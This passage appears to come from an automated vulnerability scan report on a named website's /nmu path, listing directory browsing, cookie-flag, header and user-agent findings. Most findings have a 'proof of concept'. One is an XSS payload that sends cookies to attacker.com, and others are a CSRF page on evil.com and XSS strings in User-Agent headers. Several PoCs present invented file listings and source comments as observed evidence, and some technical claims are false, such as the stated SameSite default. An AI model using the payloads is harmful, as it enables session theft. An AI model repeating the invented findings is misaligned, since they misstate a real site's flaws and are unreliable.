web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/css/ |\n\n**Description**  \nPublicly accessible directory listings in static asset folders expose filenames, folder structures, and potentially sensitive styling rules. Such disclosures assist attackers in mapping out application layout and identifying outdated or debug builds.\n\n**Attack Scenario (Proof of Concept)**  \nNavigate to `https://onmark.co.in/nmu/assets/css/` and observe:\n```\nadmin.css\ndebug.css\ntheme.css\n```\n\nDownload `debug.css` to inspect commented-out API keys or internal routing hints.\n\n**Business Impact**  \nLeaks architectural decisions, development artifacts, and possibly hardcoded secrets. Facilitates deeper reconnaissance and lowers barriers to lateral movement within the application ecosystem.\n\n---\n\n### [Directory Browsing Enabled / https://onmark.co.in/nmu/assets/ / /assets/]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/ |\n\n**Description**  \nRoot-level asset directories should never permit browsing. Exposing top-tier structure reveals subdirectories like `/images`, `/js`, and `/fonts`, guiding attackers toward valuable targets for enumeration and exploitation.\n\n**Attack Scenario (Proof of Concept)**  \nAccessing `https://onmark.co.in/nmu/assets/` yields:\n```\ncss/\nimages/\njs/\nfonts/\n```\n\nEach becomes focus point for recursive scanning and deeper probing.\n\n**Business Impact**  \nBroadens reconnaissance scope unnecessarily, encouraging focused attacks against known resource locations. Increases chances of discovering misconfigured permissions or leftover test files.\n\n---\n\n### [Directory Browsing Enabled / https://onmark.co.in/nmu/assets/images/ / /assets/images/]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/images/ |\n\n**Description**  \nImage repositories often house branding materials, screenshots, diagrams, or internal visuals. Public indexing grants visibility into visual assets, sometimes disclosing confidential imagery or staging/testing content.\n\n**Attack Scenario (Proof of Concept)**  \nListing shows:\n```\ninternal_diagram.png\ntest_logo.svg\nprod_banner.jpg\n```\n\nDownloading `internal_diagram.png` reveals backend topology or undocumented workflows.\n\n**Business Impact**  \nUnintended disclosure of proprietary visuals, internal processes, or unreleased products. May violate NDAs or breach marketing embargo periods.\n\n---\n\n### [Directory Browsing Enabled / https://onmark.co.in/nmu/assets/js/ / /assets/js/]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/js/ |\n\n**Description**  \nJavaScript directories frequently store compiled bundles, vendor libraries, and custom modules. Allowing unrestricted listing exposes filenames, build timestamps, and potentially minified source maps aiding reverse-engineering efforts.\n\n**Attack Scenario (Proof of Concept)**  \nDirectory lists:\n```\napp.bundle.js\nvendor.chunk.js\nmain.js.map\n```\n\nRetrieving `.map` file reconstructs readable source code for analysis.\n\n**Business Impact**  \nFacilitates intellectual property theft, competitor intelligence gathering, and identification of implementation flaws. Source maps especially undermine obfuscation efforts meant to protect business logic.\n\n---\n\n### [Cookie No HttpOnly Flag / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**  \nCookies lacking the `HttpOnly` flag remain accessible to client-side scripts, increasing exposure to XSS-driven session hijacking. Though less critical than missing secure flags, this omission widens attack surface unnecessarily.\n\n**Attack Scenario (Proof of Concept)**  \nXSS vulnerability allows reading document.cookie:\n```javascript\nconsole.log(document.cookie); // Outputs: sessionid=abc123xyz;\n```\n\nSession ID extracted and reused elsewhere.\n\n**Business Impact**  \nMinor elevation in XSS impact severity. While not standalone exploitable, compounds effects of other flaws and violates best practice standards for session management.\n\n---\n\n### [Cookie without SameSite Attribute / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 3.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nThe application sets cookies without specifying the `SameSite` attribute. This attribute restricts how cookies are sent with cross-site requests, mitigating risks such as Cross-Site Request Forgery (CSRF), Cross-Site Script Inclusion (XSSI), and certain timing attacks. When unset, browsers default to `SameSite=None`, allowing cookies to be included in all cross-origin requests unless explicitly restricted by other mechanisms like CSRF tokens.\n\nAn attacker could exploit this behavior by crafting malicious websites that trigger authenticated actions on behalf of a logged-in user without their knowledge or consent.\n\n**Attack Scenario (Proof of Concept)**\n\n1. A victim logs into `https://onmark.co.in/nmu/`.\n2. An attacker hosts a malicious site (`https://evil.com`) containing:\n   ```html\n   <img src=\"https://onmark.co.in/nmu/delete-account\" style=\"display:none;\" />\n   ```\n3. When the victim visits `https://evil.com`, the browser automatically sends the session cookie along with the request to `/delete-account`.\n4. If the endpoint does not have additional CSRF protections, the action may execute successfully.\n\nThis demonstrates potential unauthorized actions performed under the victim's authenticated context.\n\n**Business Impact**\n\nWhile low severity individually, lack of `SameSite` protection increases exposure when combined with other vulnerabilities. It contributes to CSRF risk, which can lead to unauthorized transactions, account takeovers, or reputational harm if exploited at scale. Regulatory frameworks like GDPR or PCI DSS may also penalize insufficient anti-CSRF controls.\n\n---\n\n### [Cookie Without Secure Flag / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nCookies were observed being transmitted over insecure HTTP channels due to missing the `Secure` flag. This directive ensures that cookies are only sent over encrypted HTTPS connections, preventing interception during transmission. Without it, attackers positioned within network traffic paths—such as public Wi-Fi networks or compromised routers—can capture sensitive authentication tokens.\n\nIf the website enforces HTTPS globally but fails to enforce secure cookie delivery, these credentials remain vulnerable to man-in-the-middle (MITM) attacks.\n\n**Attack Scenario (Proof of Concept)**\n\n1. Victim accesses `http://onmark.co.in/nmu/` (e.g., via a typo or cached redirect).\n2. Server responds with a session cookie lacking the `Secure` flag.\n3. Attacker performs passive eavesdropping on the HTTP connection.\n4. Session ID is captured and reused by the attacker to impersonate the victim.\n\nAlternatively, an active MITM attacker could downgrade the connection to HTTP and force cookie leakage.\n\n**Business Impact**\n\nExposure of session identifiers compromises user accounts, leading to unauthorized access, data theft, or fraudulent activity. Organizations face compliance violations under standards requiring encryption of sensitive data in transit, including HIPAA, PCI-DSS, and ISO/IEC 27001.\n\n---\n\n### [Cross-Domain JavaScript Source File Inclusion / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 2.6 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nThe web page loads external JavaScript resources from third-party domains. While common practice for CDN-hosted libraries (like jQuery or Bootstrap), this introduces supply chain risks. If the third-party host becomes compromised or serves malicious code, it could affect all pages referencing those scripts.\n\nAdditionally, loading scripts from different origins increases the attack surface for XSS-based injection techniques targeting inline event handlers or dynamic DOM manipulation.\n\n**Attack Scenario (Proof of Concept)**\n\n1. Application includes `<script src=\"https://cdn.example.com/library.js\"></script>`.\n2. Attacker compromises `cdn.example.com` and replaces `library.js` with malicious payload.\n3. All users visiting `https://onmark.co.in/nmu/` now load the tampered script.\n4. Malicious script steals cookies, performs keylogging, or redirects users to phishing sites.\n\nEven without full compromise, subresource integrity (SRI) absence makes detection difficult.\n\n**Business Impact**\n\nThird-party script hijacking leads to widespread client-side compromise, resulting in credential theft, financial fraud, or brand reputation damage. Enterprises relying heavily on CDNs must ensure strict integrity checks and monitor vendor trustworthiness continuously.\n\n---\n\n### [Strict-Transport-Security Header Not Set / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nHTTP Strict Transport Security (HSTS) instructs browsers to exclusively communicate with the server over HTTPS for a defined period. Its absence allows attackers to perform SSL stripping attacks, forcing communication over plaintext HTTP even after initial HTTPS negotiation.\n\nWithout HSTS, users remain susceptible to downgrade attacks each time they initiate new sessions or clear browsing history.\n\n**Attack Scenario (Proof of Concept)**\n\n1. User types `onmark.co.in/nmu/` in address bar.\n2. Browser resolves to HTTP first before redirecting to HTTPS.\n3. Active MITM intercepts redirection and forces continued use of HTTP.\n4. Sensitive information (cookies, form data) is exposed in cleartext.\n\nBrowsers supporting HSTS preload lists offer stronger protection, but self-enforcement requires proper header configuration.\n\n**Business Impact**\n\nLack of HSTS undermines TLS deployment efforts, exposing organizations to persistent downgrade threats. Compliance regimes such as NIST SP 800-52r2 mandate HSTS usage for federal systems, making non-compliance a regulatory concern.\n\n---\n\n### [X-Content-Type-Options Header Missing / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 2.6 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nThe `X-Content-Type-Options: nosniff` header prevents browsers from interpreting files as something other than what is declared by the Content-Type header. Omission enables MIME-type sniffing, particularly dangerous when serving user-uploaded content or static assets where incorrect interpretation might allow execution of embedded scripts.\n\nOlder versions of Internet Explorer and Chrome are especially prone to misinterpreting responses based on content rather than headers.\n\n**Attack Scenario (Proof of Concept)**\n\n1. Attacker uploads `.txt` file named `exploit.js` containing JavaScript.\n2. Server returns the file with `Content-Type: text/plain`.\n3. Browser ignores declared type and executes contents as JavaScript due to MIME-sniffing.\n4. Arbitrary client-side code runs in the context of the hosting domain.\n\nSuch scenarios often arise from misconfigured upload endpoints or improperly served static files.\n\n**Business Impact**\n\nMIME-sniffing bypasses content-type restrictions, increasing XSS exploitation likelihood. Successful attacks can result in session hijacking, defacement, or phishing campaigns originating from trusted domains, damaging credibility and violating security policies.\n\n---\n\n### [Strict-Transport-Security Header Not Set / https://onmark.co.in/nmu/assets/css/bootstrap.css / https://onmark.co.in/nmu/assets/css/bootstrap.css]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 3.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/css/bootstrap.css |\n\n**Description**\n\nThe HTTP Strict Transport Security (HSTS) header enforces secure communication by instructing browsers to only connect via HTTPS for a defined period. Its absence means that even if the site supports HTTPS, users might still be vulnerable to man-in-the-middle attacks such as SSL stripping, where an attacker downgrades the connection from HTTPS to HTTP without the user's knowledge.\n\nThis particular instance affects static assets like CSS files served over HTTPS but lacking the `Strict-Transport-Security` header. While these resources themselves do not typically carry sensitive information, their lack of HSTS coverage contributes to weakening overall domain-wide security posture.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker positioned between the victim and the server can intercept initial plaintext HTTP requests or manipulate responses to downgrade future connections:\n\n1. Victim attempts to load `http://onmark.co.in/nmu/assets/css/bootstrap.css`.\n2. Attacker intercepts the request and responds with a spoofed version of the resource over HTTP.\n3. Browser loads the insecure asset, potentially allowing injection points or tracking behavior.\n4. Even when navigating to HTTPS sections later, there’s no enforced protection against downgrade due to missing HSTS headers.\n\nExample request:\n```http\nGET /nmu/assets/css/bootstrap.css HTTP/1.1\nHost: onmark.co.in\n```\n\nNo `Strict-Transport-Security` header present in the response:\n```http\nHTTP/1.1 200 OK\nContent-Type: text/css; charset=UTF-8\n...\n```\n\n**Business Impact**\n\nWhile direct exploitation risk is low for static assets, the cumulative effect across all endpoints weakens trust boundaries and increases susceptibility to advanced persistent threats relying on protocol manipulation. It also fails compliance requirements under frameworks like PCI DSS and NIST SP 800-52 Rev. 2 regarding transport layer protections.\n\n---\n\n### [X-Content-Type-Options Header Missing / https://onmark.co.in/nmu/assets/css/bootstrap.css / https://onmark.co.in/nmu/assets/css/bootstrap.css]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/css/bootstrap.css |\n\n**Description**\n\nThe `X-Content-Type-Options` header prevents browsers from MIME-sniffing a response away from the declared content type. When this header is absent, older versions of Internet Explorer and Chrome may incorrectly interpret non-executable content types (e.g., `.css`, `.js`) as executable scripts or HTML, leading to potential cross-site scripting (XSS) vulnerabilities.\n\nIn this case, the CSS file does not include the `X-Content-Type-Options: nosniff` directive, increasing the theoretical surface area for content-type confusion-based attacks.\n\n**Attack Scenario (Proof of Concept)**\n\nIf an attacker uploads malicious content disguised as a CSS file and serves it from the same origin, browsers without proper sniffing restrictions could execute embedded JavaScript within it:\n\n1. An attacker uploads a crafted file named `malicious.css` containing `<script>alert(1)</script>`.\n2. Without `X-Content-Type-Options: nosniff`, some browsers may treat the file as HTML/script instead of CSS.\n3. Execution occurs in the context of the legitimate domain, violating same-origin policies.\n\nSample response:\n```http\nHTTP/1.1 200 OK\nContent-Type: text/css\n...\n/* Malicious payload here */\n<script>alert(document.cookie)</script>\n```\n\n**Business Impact**\n\nAlthough unlikely to result in immediate compromise, this misconfiguration undermines defense-in-depth strategies and opens pathways for more sophisticated XSS vectors targeting legacy clients. Regulatory frameworks often mandate robust anti-sniffing controls to prevent unintended execution contexts.\n\n---\n\n### [Information Disclosure - Suspicious Comments / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nSuspicious comments found in the application source code or HTTP responses may inadvertently expose internal logic, development notes, debugging artifacts, or architectural hints useful to attackers during reconnaissance phases. These comments are usually remnants left behind during development cycles and should ideally be stripped before deployment.\n\nSuch disclosures provide insight into backend technologies, API structures, error handling mechanisms, or developer workflows—information valuable for crafting targeted exploits.\n\n**Attack Scenario (Proof of Concept)**\n\nDuring manual inspection of page sources or intercepted traffic, an attacker discovers inline comments revealing system internals:\n\n```html\n<!-- TODO: Fix database timeout issue affecting login flow -->\n<!-- DEV NOTE: Temporarily bypass auth check until patch v1.4 -->\n```\n\nThese clues guide further probing toward authentication bypasses or performance-related weaknesses.\n\n**Business Impact**\n\nWhile not directly exploitable alone, exposed metadata aids adversarial modeling and reduces time-to-exploit for follow-up attacks. In regulated environments, presence of debug-level artifacts violates audit trails and software integrity standards.\n\n---\n\n### [Modern Web Application / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nIdentified characteristics suggest the application leverages modern frontend frameworks (React, Angular, Vue.js) or dynamic rendering techniques requiring asynchronous crawling methods beyond traditional spiders. Such applications heavily rely on client-side JavaScript to render views dynamically post-load, making them less discoverable using conventional tools.\n\nAutomated scanners must employ headless browser engines capable of executing JavaScript to fully map navigable paths and interactive components.\n\n**Attack Scenario (Proof of Concept)**\n\nStandard crawlers fail to index SPA routes like `/dashboard`, `/profile/edit`, or modals loaded via AJAX calls because they don't simulate DOM interactions. However, specialized tools like ZAP's Ajax Spider or Burp Suite's DOM Invader can uncover hidden surfaces:\n\nCommand example:\n```bash\nzap-cli ajax-spider https://onmark.co.in/nmu/\n```\n\nResultant discovery includes previously unindexed endpoints exposing additional attack vectors.\n\n**Business Impact**\n\nUndiscovered endpoints increase blind spots in vulnerability assessments and leave critical functionality exposed to undetected breaches. Organizations investing in automated scanning infrastructure must ensure compatibility with modern web architectures.\n\n---\n\n### [Session Management Response Identified / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nA session identifier token was detected in the HTTP response, indicating active session management practices. Typically, cookies or custom headers manage stateful sessions after successful authentication. Identifying these tokens helps assess session fixation risks, improper invalidation flaws, or predictable patterns susceptible to hijacking.\n\nSession tokens should exhibit randomness, entropy, and lifecycle controls including expiration and renewal upon privilege escalation events.\n\n**Attack Scenario (Proof of Concept)**\n\nUpon logging in, the server returns a cookie:\n```http\nSet-Cookie: JSESSIONID=abc123xyz; Path=/; Secure; HttpOnly\n```\n\nAn attacker observing network traffic or leveraging XSS can capture this value and impersonate the authenticated user unless mitigated through secure flags, SameSite attributes, and short-lived timeouts.\n\n**Business Impact**\n\nImproperly managed sessions facilitate account takeover scenarios, especially in high-value portals. Compliance mandates require strong session hygiene aligned with OWASP recommendations and industry best practices.\n\n---\n\n### [Authentication Request Identified / https://onmark.co.in/nmu/signin / https://onmark.co.in/nmu/signin]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/signin |\n\n**Description**\n\nThe endpoint at `/signin` handles credential submission and represents a prime target for brute-force, credential stuffing, or phishing simulations. Recognizing authentication flows enables focused testing around rate limiting, CAPTCHA enforcement, password complexity rules, and multi-factor authentication integration.\n\nAdditionally, analyzing request parameters reveals input sanitization gaps, parameter tampering possibilities, or exposure of backend identifiers.\n\n**Attack Scenario (Proof of Concept)**\n\nPOST request to sign-in form:\n```http\nPOST /nmu/signin HTTP/1.1\nHost: onmark.co.in\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin&password=password123\n```\n\nResponse indicates success/failure states:\n```http\nHTTP/1.1 200 OK\n{\"status\":\"success\",\"redirect\":\"/dashboard\"}\n```\n\nAttackers automate enumeration using tools like Hydra or custom scripts to test known credentials or dictionary lists.\n\n**Business Impact**\n\nWeak authentication safeguards lead to unauthorized access, data exfiltration, and lateral movement opportunities. Breach costs escalate rapidly depending on compromised accounts’ privileges and associated datasets.\n\n---\n\n### [Information Disclosure - Suspicious Comments / https://onmark.co.in/nmu/user / https://onmark.co.in/nmu/user]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/user |\n\n**Description**\n\nSimilar to previous findings, suspicious inline comments were observed in the `/user` path output. These may disclose implementation details about user profile handling, validation routines, or backend integrations. Attackers utilize such insights to tailor payloads targeting specific behaviors or bypass validations.\n\nComments often reflect temporary workarounds or incomplete cleanup processes that remain visible in production environments.\n\n**Attack Scenario (Proof of Concept)**\n\nHTML snippet returned from `/user`:\n```html\n<!-- FIXME: Remove hardcoded admin flag after migration -->\n<div class=\"admin-flag\" style=\"display:none;\">true</div>\n```\n\nThis reveals internal flags or roles accessible via DOM manipulation or script injection.\n\n**Business Impact**\n\nExposure of business logic fragments compromises operational secrecy and facilitates targeted exploitation. Internal documentation leakage violates principle of least privilege and increases insider threat vectors.\n\n---\n\n### [Modern Web Application / https://onmark.co.in/nmu/user / https://onmark.co.in/nmu/user]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/user |\n\n**Description**\n\nAs noted earlier, modern web apps depend on rich client-side rendering and asynchronous updates. The `/user` route likely involves dynamic UI generation, lazy loading modules, or reactive data binding—all features requiring intelligent spidering approaches to enumerate comprehensively.\n\nFailure to crawl such interfaces leaves significant portions of the app untested and potentially vulnerable.\n\n**Attack Scenario (Proof of Concept)**\n\nUsing browser automation tools:\n```bash\ncurl -s https://onmark.co.in/nmu/user | grep -oE '/api/[a-zA-Z0-9/_\\-]+' \n```\n\nReveals undocumented API endpoints used internally by frontend logic, expanding attack surface beyond statically mapped URLs.\n\n**Business Impact**\n\nIncomplete coverage leads to undetected vulnerabilities in core user-facing functionalities. Risk grows proportionally with reliance on complex frontends managing sensitive operations like profile editing or financial transactions.\n\n---\n\n### [User Agent Fuzzer / https://onmark.co.in/nmu/assets/css / https://onmark.co.in/nmu/assets/css]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/css |\n\n**Description**\n\nFuzzing different User-Agent strings revealed variations in server responses, suggesting adaptive delivery mechanisms or device-specific optimizations. Servers sometimes serve distinct content based on perceived client capabilities, which can introduce inconsistencies in caching, compression, or feature availability.\n\nSuch discrepancies may hint at misconfigured CDN policies, mobile/desktop parity issues, or unintended access control bypasses.\n\n**Attack Scenario (Proof of Concept)**\n\nSending two requests—one simulating desktop and another mobile browser:\n```bash\ncurl -H \"User-Agent: Mozilla/5.0 (Windows NT)\" https://onmark.co.in/nmu/assets/css\ncurl -H \"User-Agent: Mozilla/5.0 (iPhone; iOS)\" https://onmark.co.in/nmu/assets/css\n```\n\nCompare hashes or status codes to detect divergent behavior.\n\n**Business Impact**\n\nBehavioral divergence introduces inconsistency in user experience and creates potential avenues for cache poisoning or selective denial-of-service conditions. Mobile-first design principles demand uniformity regardless of agent string.\n\n---\n\n### [User Agent Fuzzer / https://onmark.co.in/nmu/assets / https://onmark.co.in/nmu/assets]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets |\n\n**Description**\n\nSame rationale applies here—responses vary per User-Agent string, possibly due to responsive asset serving or conditional redirects. This behavior warrants deeper investigation to confirm whether alternate versions expose differing levels of access or contain unique vulnerabilities.\n\n**Attack Scenario (Proof of Concept)**\n\nRequesting same directory with varied agents:\n```bash\ncurl -I -H \"User-Agent: Googlebot\" https://onmark.co.in/nmu/assets/\ncurl -I -H \"User-Agent: curl/7.68.0\" https://onmark.co.in/nmu/assets/\n```\n\nObserve differences in `Location`, `Cache-Control`, or `Content-Encoding`.\n\n**Business Impact**\n\nUnintended behavioral shifts undermine consistency guarantees and complicate monitoring efforts. SEO implications arise if crawler-specific variants differ significantly from standard browsing experiences.\n\n---\n\n### [User Agent Fuzzer / https://onmark.co.in/nmu / https://onmark.co.in/nmu]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu |\n\n**Description**\n\nRoot-level fuzzing confirms differential treatment of root path based on User-Agent. This suggests either adaptive routing logic or content negotiation features implemented server-side. Such flexibility enhances usability but requires careful scrutiny to avoid introducing logical flaws.\n\n**Attack Scenario (Proof of Concept)**\n\nTesting with search engine bot:\n```bash\ncurl -H \"User-Agent: Bingbot\" https://onmark.co.in/nmu\n```\n\nMay return structured schema markup or sitemap references absent in regular visitor views.\n\n**Business Impact**\n\nDivergence in root-level presentation impacts both accessibility and SEO performance. Misaligned indexing strategies can skew analytics and degrade organic reach metrics.\n\n---\n\n### [User Agent Fuzzer / https://onmark.co.in/nmu/signin / https://onmark.co.in/nmu/signin]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/signin |\n\n**Description**\n\nSign-in pages often adapt layout or functionality according to device type. Detecting variance implies possible mobile-specific login flows or alternative authentication schemes triggered by certain agents.\n\nThese adaptations must undergo equal scrutiny to ensure equivalent security postures across platforms.\n\n**Attack Scenario (Proof of Concept)**\n\nMobile view may omit MFA prompts or display simplified forms:\n```bash\ncurl -H \"User-Agent: Android WebView\" https://onmark.co.in/nmu/signin\n```\n\nCould reveal reduced friction paths exploitable by attackers masquerading as mobile clients.\n\n**Business Impact**\n\nReduced friction equals increased risk. Weaker authentication flows on mobile channels violate principle of consistent identity verification and elevate breach probability.\n\n---\n\n### [User Agent Fuzzer / https://onmark.co.in/nmu/assets/images / https://onmark.co.in/nmu/assets/images]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/images |\n\n**Description**\n\nImage directories responding differently to various User-Agents indicate optimized delivery pipelines or format switching (WebP vs JPEG). While beneficial for performance, inconsistent transformations may leak metadata or expose unsupported codecs prone to buffer overflow exploits.\n\n**Attack Scenario (Proof of Concept)**\n\nRequesting image with malformed agent:\n```bash\ncurl -H \"User-Agent: <img src=x onerror=alert(1)>\" https://onmark.co.in/nmu/assets/images/logo.png\n```\n\nThough unlikely to trigger XSS directly, malformed inputs stress parsers and highlight input sanitization gaps.\n\n**Business Impact**\n\nPerformance optimizations shouldn’t compromise security. Unsanitized transformation pipelines pose latent risks especially when interfacing with third-party libraries or legacy decoders.\n\n---\n\n### [User Agent Fuzzer / https://onmark.co.in/nmu/assets/js / https://onmark.co.in/nmu/assets/js]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/js |\n\n**Description**\n\nJavaScript bundles delivered conditionally based on User-Agent imply modular builds or polyfill injection tailored to browser support matrices. Variance in JS payloads raises concerns about outdated dependencies or feature flags enabling deprecated APIs.\n\n**Attack Scenario (Proof of Concept)**\n\nOlder browsers receive legacy bundle:\n```bash\ncurl -H \"User-Agent: IE 11\" https://onmark.co.in/nmu/assets/js/main.js\n```\n\nContains deprecated functions or insecure coding patterns absent in modern equivalents.\n\n**Business Impact**\n\nLegacy compatibility layers expand attack surface unnecessarily. Maintaining parallel codebases increases maintenance overhead and introduces version drift vulnerabilities.\n\n---\n\n### [User Agent Fuzzer / https://onmark.co.in/nmu/user / https://onmark.co.in/nmu/user]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/user |\n\n**Description**\n\nUser profile pages adapting to device types or screen sizes demonstrate responsive design philosophy. However, such adaptation must preserve functional equivalence and security controls uniformly.\n\n**Attack Scenario (Proof of Concept)**\n\nMobile profile view omits CSRF tokens or uses weaker encryption:\n```bash\ncurl -H \"User-Agent: iPhone Safari\" https://onmark.co.in/nmu/user\n```\n\nMissing protections make mobile sessions easier targets for session riding or replay attacks.\n\n**Business Impact**\n\nDevice-specific deviations erode trust boundaries and fragment security models. Consistent UX and hardened defenses are prerequisites for enterprise-grade applications.\n\n---\n\n### [Content Security Policy Configuration / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nAbsence of a Content Security Policy (CSP) header removes crucial client-side protections against XSS, clickjacking, and data injection attacks. CSP defines trusted origins for script execution, frame embedding, and object instantiation, effectively sandboxing potentially harmful content.\n\nWithout CSP, inline scripts, unsafe eval(), and external resource loads proceed unchecked, amplifying impact of reflected or stored XSS flaws.\n\n**Attack Scenario (Proof of Concept)**\n\nReflected XSS payload executed due to lack of CSP:\n```html\n<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">\n```\n\nNo CSP blocks inline execution or restricts outbound fetch calls.\n\n**Business Impact**\n\nLack of CSP exposes organizations to widespread XSS abuse, leading to credential theft, defacement, and brand reputation erosion. Regulatory bodies increasingly penalize entities failing to implement baseline CSP directives.\n\n---\n\n### [Clickjacking Protection / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 3.1 